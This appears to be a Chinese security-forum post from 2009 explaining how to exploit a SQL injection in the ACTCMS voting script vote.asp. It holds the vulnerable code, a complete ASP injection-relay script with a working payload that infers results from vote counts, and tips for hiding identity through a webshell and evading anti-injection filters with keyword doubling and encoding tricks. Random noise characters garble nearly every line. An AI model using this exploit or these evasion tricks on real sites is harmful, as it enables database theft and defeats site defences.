& ]" S. N I/ s% b. U* R, \看到ninty大牛的blog的一篇文章0 a1 y! t8 s3 h3 E; c* y
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
# ^* ?! h! h2 i关于actcms漏洞的利用 by 3x qq:381862589/ O( A3 K5 q7 ]: J# ] ]6 s
转载请注明以上0 k) ]! A& s: Q. a$ k) D* _( B
漏洞文件:
Z- e" u# }5 R; M/plus/vote/vote.asp: {) D; s; `( l
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then 8 i2 T- q3 H, e# f) r
, q& p2 M* A( x1 U6 Z
2 response.write "<script>alert('请选择投票项目。');window.close()</script>" 4 M/ o) _* ]' A- {; y/ ]4 P
8 n5 S& ~3 S! Y0 a0 ~6 v4 ~! l3 response.end
7 M0 s2 E1 @: l& ?- z/ [5 F/ W
+ a5 _1 ~; m& H2 i1 q4 end if
, X, J' h: T% i1 [: O$ [# q3 v1 ?
5 for i=1 to request("voted").count / D, u: X; E* U: p; s1 s9 }
; C1 M; {0 r8 t% u1 r" b/ ]6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) . ?6 H6 j3 h; v
P8 l8 e3 d5 O$ e' o8 ~7 L7 next
8 d3 e9 g, O; X) A" Z" f _6 m9 O3 P
3 @/ ?/ h; k+ I3 ~- K8....
/ J# ]$ a) V! |' n0 ~5 y# W, i" ?& P h0 Q m' `
9response.Redirect "index.asp?id="&id&"" / x$ Y6 ~9 b" h/ E+ F( {$ q
投票结束回跳转回index.asp这个投票结果页面
% S2 H6 T5 C3 }2 [! z, o如果投票成功票数加1
6 @( S, i2 V1 F' } 失败票数不变
, V5 N! F; l% ?$ n% J2 V9 G如图:/ }, E4 V8 _% k. |1 ^; w( b
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB). m% z+ Z' Q+ J4 E0 q+ W. P
+ F5 M+ N: O7 ~% D
2009-12-27 13:20
5 n/ B \6 o) G4 Y# e! I2 _- c* e( [ @ Q
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了 i5 [9 e/ e' r4 i8 Z& |- |5 c
# ?4 |2 b1 V2 s9 J$ `$ m本帖隐藏的内容需要回复才可以浏览! _6 [( S% H1 Q2 b: S
我们用注入中转来实现这个注入具体代码如下:
c8 l+ E) e4 r% a先用寂寞的刺猬大牛的注入中转生成jmget.asp
$ q) `* e% t) q) @3 n注入地址:http://localhost/actcms/plus/vote/vote.asp
3 X2 R, Y' m1 z7 ~6 m5 c0 i: r) F6 Z注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
; ~* V2 K9 h! M7 {
) @( S- h$ F$ ~2 _# V然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% 6 I" h) e! Q7 W
# k% l( s' r ^9 p02JmdcwName=request("jmdcw")
) D& O: `$ q' j' S. f4 ~
7 y6 M/ c& v8 O+ {: H( N03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] " S( x8 U0 v8 v! Z6 i( T
/ i; S8 F T; q4 y+ ?5 e# Q# K04JmStr="id=1&voted=-1 or 1="&JmdcwName
* X8 Z- k5 t/ a' y' c. R2 M, }- K k! G
05JmStr=URLEncoding(JmStr)
* i; Q3 Z8 f% K1 o8 a9 q2 b
/ x6 j9 @6 M" I" y# l* z06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
1 g( ]0 T1 t5 `0 N% n& g8 j1 g O- f, H5 j" o: W1 o- }2 `% H
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
8 |8 U4 F% e G- D0 B
% A! ^ e& a" c# f' z; `4 s7 I08testurl=testurl & "?" & JmStr 8 D+ e" V# N6 q
1 ]) t* s, V! h( ^ t2 h
09JMUrl=JMUrl & "?" & JmStr
& i8 W2 Q8 h$ t" G! U. R! ?1 h
# \. h: l/ G4 v/ J( g$ y" @10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
5 @ s) F: ]: f* W- L# Q
. v* x. D% h4 b11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"# H7 i5 b; q y- @0 |/ k! a+ r6 q
# f: X4 w$ d: p6 {" z
12JmCok=replace(JmCok,chr(32),"%20") / W/ y+ K# L& _5 i
' E' E$ p* O6 D) L
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
7 |6 u, a' n: z O9 r% Z/ [8 G
7 o. P7 Y- g9 h% b& n( z& p3 H14 1 J" G0 E2 p6 [. X
1 }; c. k+ Y: [6 T- t15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 * V1 R4 N7 I; w' e! o
% W/ x4 d `# n' u! Q$ d# @8 o
16
1 J2 x; p2 U0 g* q) }" N
% X4 F2 m6 A4 o& Z' Y' J17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
3 x# u, V5 {- B5 I2 I, m8 q
* i/ S" `4 Z8 [" t C2 W* t18response.write test1&""&test2&""
. X0 r4 f. o' w1 P
/ \' d; ^5 b8 T, _6 ]19
2 d) G% ]5 \* w0 F3 D- ~& m( k- @5 D4 b1 A; m% w
20if test1=test2 then '如前后记录相等,表示失败 2 m) @8 x9 e& s r3 ~
( G8 Y0 D' ~8 X' p. g& \
21 response.write "failed"
8 k4 P$ h C: z. Q p. w' O% p- @- k6 q; d' n, ]. d
22else 5 }( H( G" M' Y4 d c
9 o i( Y T9 C! W& l" u
23 response.write "succeed"
5 ]) {* y: v% m5 P' e2 f9 `' W: J
24end if
/ L8 O% r+ s0 I/ x. n( e0 I% v- N; m) ^9 r, e' b/ s s% H
25
% ?# b% C4 Q$ C
6 ?( t; b% ^9 |26response.write "by 3x"6 Q0 Z. D1 x# s1 h; v0 Z
- X( N& Y& x. a& j; `
27 + m2 e, [# k- N+ C! {
9 H0 r6 }' B/ {% f$ w5 t
28 $ x' e: N0 J" Z
" X1 \# U+ b9 Q; q
29Function PostData(PostUrl,PostStr,PostCok,PostRef)
* E, m3 E; Q+ E* W7 X( Z5 `$ q0 L I. L/ _
30Dim Http 7 ~& C) G9 Y, v& [: v
5 l! [; u" I" d$ Q' e4 f' U
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
, c% D5 j4 j* E6 z( ?
3 ]4 \( `: ~8 W2 g% U! U. G4 n- n# l32With Http / p4 L! |! a0 a& ]+ ?* E, z
4 H4 \6 ]6 H6 ^( }0 z A
33 - N) E q' ^6 P7 m5 j1 S% p
2 H4 u1 w* S5 s* O6 z- A4 p34.Open "GET",PostUrl,False5 Y0 k5 e5 E$ b& `' e% H$ Q8 N
& v8 l8 x* B& a G2 B6 Q2 C0 h7 K
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"1 _5 F' i" b- C8 \# q# T, ?6 J
3 ~6 v2 u3 D4 Y0 K7 e, d
36.SetRequestHeader "Referer",PostRef " u5 E# H }+ X9 I7 M8 T
; m: z" T% q4 ~, s% Q37.SetRequestHeader "Cookie",PostCok ( h9 h, L$ H- ]7 P4 P
$ v( [9 S: D; M8 G8 o: S! ~
38.Send () 7 W, Z+ [% s- j# [
; }) {! Q* ?+ g
39PostData = .ResponseBody ; A9 P; Z0 n- n% [% n Q5 H
D$ `; }' I1 b% e/ x" z2 b P) s
40End With0 J2 K. I$ E0 _
( F5 m& g9 e4 z0 s+ B
41Set Http = Nothing: d5 n% p) [6 T
6 P3 @$ H1 T0 O$ O
42PostData =bytes2BSTR(PostData) $ ^5 S2 Y( y4 O! p9 t
/ i0 f% u4 v' u2 n8 u8 e
43End Function
, M4 ]5 Q ?7 I- y! Q
9 W/ N- l8 s" ?$ h3 E44
1 n, H) v( h0 k @3 N" ^) q# G: s, x* j2 N0 x4 V
45 5 b* f: j6 c, Y2 b7 F, |/ R
' A5 e% p* T# j! `46Function bytes2BSTR(vIn)
; ?% ^! B0 V) y7 T6 y6 B3 h* Z4 r' f" g( g7 S+ g6 K4 y7 r/ I/ |
47Dim strReturn
% s" i: }$ X A7 @; g" D( D5 V, ` Y
48Dim I, ThisCharCode, NextCharCode 7 I5 u; T9 Q9 M) y. B% F
- c9 W: V. [, J0 A% _7 P49strReturn = ""9 ?/ s4 A" J; h1 J a
1 V1 u, R) [( w& \" @7 W8 y/ y
50For I = 1 To LenB(vIn)
2 @8 K& V( d* Q; H% m& n0 G9 Z: t2 W% v6 S: \8 `
51ThisCharCode = AscB(MidB(vIn, I, 1)) 2 `& @* j8 w: d0 C
4 {3 l" `! p8 P; s5 u52If ThisCharCode < &H80 Then
! S& \0 L; ?5 q
8 S! b8 I2 }3 K53strReturn = strReturn & Chr(ThisCharCode)
( k8 P* f+ R& U( v1 {! u4 v% J+ q
54Else
+ B6 {" l& _/ X: f5 F$ O U
( ^" w4 A2 K, W5 R$ o+ }5 u( p( n4 Y, A55NextCharCode = AscB(MidB(vIn, I + 1, 1))
9 s! g2 d) H" q
' k, Q$ K4 B. A# Q: k56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 5 R& n0 Q7 \* q
8 P/ K/ {1 L+ w6 u/ b2 g( H* S
57I = I + 1 _3 E' ~3 q$ A* n
6 D& `) c+ b* v- y+ |% o* {0 n
58End If
9 V5 Q1 ?' I2 }
! I* _1 X& ]4 t* q+ s0 R6 v59Next7 K- L3 V+ h" g' M
$ J5 ?5 M- s& R% ?0 i60bytes2BSTR = strReturn
" S* a+ w# x) c' a4 G( Z( h5 c
; z$ B+ l; e* _. G0 Z" {" F61End Function
& G. M/ ]3 y+ @; P% |
1 z0 P$ y* ~3 c: _- z3 X- D62
. _5 J( Y. D( ^2 Y! S2 ^5 G: v9 \9 {
1 @1 t9 a2 d$ [7 K! q: E/ @9 ]63Function URLEncoding(vstrin)
5 n$ C1 V0 U, ^
! B/ D* Y5 O6 n/ q+ [; L& z64strReturn=""
$ @3 D9 S( o( G! j$ Q! G9 y
& h! Y( Y! o3 S$ {65Dim i ( g1 E) r1 O0 C O' N5 z( i# _
$ h+ j7 l5 F0 C$ P; }, v
66For i=1 To Len(vstrin) . w8 P* p6 t7 c1 X% g6 A
3 C9 X- c6 H+ W0 L) Y$ U
67ThisChr=Mid(vstrin,i,1)
4 y( Y. I* k8 C$ n0 e; q( n% p f/ {+ |3 e; z7 [
68if Abs(Asc(ThisChr))< &HFF Then% _# X \: @) a0 ?
. W4 s, {! @ d _* B" i4 K69strReturn=strReturn & ThisChr + k; I# f; W8 F0 j3 \
- J7 k2 G. V5 ^- U3 b70Else& N! B% j; L, P5 P% ?, q
# u- E' \0 L( V [, R* v+ p' d
71InnerCode=Asc(ThisChr) ; g4 @. {4 ]+ b. t3 J
4 f/ X" `: F+ d( c72If InnerCode<0 Then r% b' r q6 V# O7 W, l
9 L; l6 A! I" H! p) ]- w( p+ ~% T
73InnerCode=InnerCode + &H10000 9 O. M5 m) W6 @/ H7 Y
) Q; n N0 `6 K ^
74End If( O* L% R+ M( K" h: }8 y
' r) B* C; X) L2 j( u9 s$ [75Hight1=(InnerCode And &HFF00) \&HFF 1 j/ w3 W4 N9 ]4 {6 R
; n6 l: @1 T; P: `4 v, c4 `76Low1=InnerCode And &HFF
) G* Q C8 c! N
) D- k; C; |# ?77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
$ }+ u( h! u( ~& M' X& v; E, G* x4 u' ~ P' J
78End if
$ u0 @& K. x4 I3 F X$ t! f, k x# B7 _. v$ K
79Next
: `- T4 y3 ?0 S. O3 X6 Z. V, ]8 ^2 y; D: X$ T" ]( O
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 6 A. o: {& B0 R+ u5 F8 Z# U: Q
$ Q/ b" X& h4 ^1 z+ L7 B, S3 o
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
# ~( t' r: W* \8 z2 T
1 o% e$ \5 K4 ^3 }82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
! `7 D w$ }' q% I/ M. y; t7 ]$ `& T3 v
83URLEncoding=strReturn
* u4 C3 x+ r* V- N4 }4 {5 B: c$ K6 U2 @
84End Function% B3 M9 I) M4 B
I; a, k- O! x. q" i8 u
85
/ y B" C* X6 u, L2 F7 I% W
: D% T% s7 f& J! n6 O% A+ j8 z, Z* a86function getSt(body) . N+ |, g7 I6 o5 a% l* b
2 E, Y( Y# f* {87 startpot=instr(body,"投票人数:")+len("投票人数:") $ ~( ?4 P" c4 C
! v( ?8 q1 v. r8 O' R, t
88 endpot=instr(startpot,body," ")
' n% V* c* A& O2 j: {
3 d; }' j% _# U, C4 g89 getSt=mid(body,startpot,endpot-startpot)
5 Z$ L& L9 |+ l* z* ?# v' a0 N
5 P9 t4 h- O0 C" {0 N* P90end function
I/ J2 d$ P8 c% i, d& G9 Y6 E3 l4 @- U% Y( K0 w+ c- ?: V
91%>0 V+ ]5 t8 W, o0 S
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了+ H; c2 W, Q- G: Y- F' }
测试下效果:) Y A5 X3 r* X7 B0 B; Y
投票成功:
) ^5 u9 T3 x+ Q! u, T' Ghttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)0 T0 J1 w: O/ q( W7 v
$ `5 H6 } `. m' {
2009-12-27 13:29% E8 D7 p* a% F6 o
投票失败$ M1 Q$ F! i: s: M! D+ ~" U5 A
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)9 J# r- }9 i. @0 v; b9 ?
; G: S, x3 j$ U2 R1 F3 o2009-12-27 13:29
5 N/ \, i: q* I1 Q3 R! j-------------------------------------------------------------------------------, F Y) k, p, m, u$ V T
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
! o8 b* ~! d% ?; s0 e6 F+ `- T W很抱歉。。。只能用单线程工具去注入。。。。。/ q# O4 K5 y0 w/ D& J7 Q
所以失败。。。不好意思。。。
7 D# B) D7 A3 [6 J-------------------------------------------------------------------------------
& X* A$ q' _2 a* e5 c; ~( V7 @
6 @) [8 M }4 U注入中转的一些其他应用
8 s! C8 @* K- _8 P6 j t' U其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
& S0 `0 y; |( {8 U; A0 a1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id6 @5 Q- ]( T2 m9 T. ~
2.post注入转成get型的注入,方便我们使用工具来跑
6 ]5 F, l- I6 i a* }" l, ~) K3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
# S0 v- s7 q/ C! T" N# L4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过( y& e; M+ ] E) G2 Y) F# y
# ^+ k4 @+ B3 J0 o2 ]$ V1 F |